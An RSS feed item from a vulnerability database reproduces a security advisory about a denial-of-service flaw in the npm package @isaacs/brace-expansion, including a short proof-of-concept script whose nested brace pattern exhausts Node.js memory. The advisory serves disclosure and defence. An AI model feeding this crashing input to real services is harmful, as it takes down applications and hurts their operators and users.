<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Tue, 29 Sep 2026 15:08:04 +0000</lastBuildDate>
    <item>
      <title>GHSA-7h2j-956f-4vf2 — @isaacs/brace-expansion has Uncontrolled Resource Consumption</title>
      <link>https://vulnerability.circl.lu/vuln/ghsa-7h2j-956f-4vf2</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: @isaacs/brace-expansion&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;`@isaacs/brace-expansion` is vulnerable to a Denial of Service (DoS) issue caused by unbounded brace range expansion. When an attacker provides a pattern containing repeated numeric brace ranges, the library attempts to eagerly generate every possible combination synchronously. Because the expansion grows exponentially, even a small input can consume excessive CPU and memory and may crash the Node.js process.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;The vulnerability occurs because `@isaacs/brace-expansion` expands brace expressions without any upper bound or complexity limit. Expansion is performed eagerly and synchronously, meaning the full result set is generated before returning control to the caller.&lt;/p&gt;
&lt;p&gt;For example, the following input:&lt;/p&gt;
&lt;p&gt;```
{0..99}{0..99}{0..99}{0..99}{0..99}
```&lt;/p&gt;
&lt;p&gt;produces:&lt;/p&gt;
&lt;p&gt;```
100^5 = 10,000,000,000 combinations
```&lt;/p&gt;
&lt;p&gt;This exponential growth can quickly overwhelm the event loop and heap memory, resulting in process termination.&lt;/p&gt;
&lt;p&gt;### Proof of Concept&lt;/p&gt;
&lt;p&gt;The following script reliably triggers the issue.&lt;/p&gt;
&lt;p&gt;Create `poc.js`:&lt;/p&gt;
&lt;p&gt;```js
const { expand } = require(&amp;#39;@isaacs/brace-expansion&amp;#39;);&lt;/p&gt;
&lt;p&gt;const pattern = &amp;#39;{0..99}{0..99}{0..99}{0..99}{0..99}&amp;#39;;&lt;/p&gt;
&lt;p&gt;console.log(&amp;#39;Starting expansion...&amp;#39;);
expand(pattern);
```&lt;/p&gt;
&lt;p&gt;Run it:&lt;/p&gt;
&lt;p&gt;```bash
node poc.js
```&lt;/p&gt;
&lt;p&gt;The process will freeze and typically crash with an error such as:&lt;/p&gt;
&lt;p&gt;```
FATAL ERROR: JavaScript heap out of memory
```&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;This is a denial of service vulnerability. Any application or downstream dependency that uses `@isaacs/brace-expa…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: @isaacs/brace-expansion&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;`@isaacs/brace-expansion` is vulnerable to a Denial of Service (DoS) issue caused by unbounded brace range expansion. When an attacker provides a pattern containing repeated numeric brace ranges, the library attempts to eagerly generate every possible combination synchronously. Because the expansion grows exponentially, even a small input can consume excessive CPU and memory and may crash the Node.js process.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;The vulnerability occurs because `@isaacs/brace-expansion` expands brace expressions without any upper bound or complexity limit. Expansion is performed eagerly and synchronously, meaning the full result set is generated before returning control to the caller.&lt;/p&gt;
&lt;p&gt;For example, the following input:&lt;/p&gt;
&lt;p&gt;```
{0..99}{0..99}{0..99}{0..99}{0..99}
```&lt;/p&gt;
&lt;p&gt;produces:&lt;/p&gt;
&lt;p&gt;```
100^5 = 10,000,000,000 combinations
```&lt;/p&gt;
&lt;p&gt;This exponential growth can quickly overwhelm the event loop and heap memory, resulting in process termination.&lt;/p&gt;
&lt;p&gt;### Proof of Concept&lt;/p&gt;
&lt;p&gt;The following script reliably triggers the issue.&lt;/p&gt;
&lt;p&gt;Create `poc.js`:&lt;/p&gt;
&lt;p&gt;```js
const { expand } = require(&amp;#39;@isaacs/brace-expansion&amp;#39;);&lt;/p&gt;
&lt;p&gt;const pattern = &amp;#39;{0..99}{0..99}{0..99}{0..99}{0..99}&amp;#39;;&lt;/p&gt;
&lt;p&gt;console.log(&amp;#39;Starting expansion...&amp;#39;);
expand(pattern);
```&lt;/p&gt;
&lt;p&gt;Run it:&lt;/p&gt;
&lt;p&gt;```bash
node poc.js
```&lt;/p&gt;
&lt;p&gt;The process will freeze and typically crash with an error such as:&lt;/p&gt;
&lt;p&gt;```
FATAL ERROR: JavaScript heap out of memory
```&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;This is a denial of service vulnerability. Any application or downstream dependency that uses `@isaacs/brace-expa…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/ghsa-7h2j-956f-4vf2</guid>
    </item>
  </channel>
</rss>
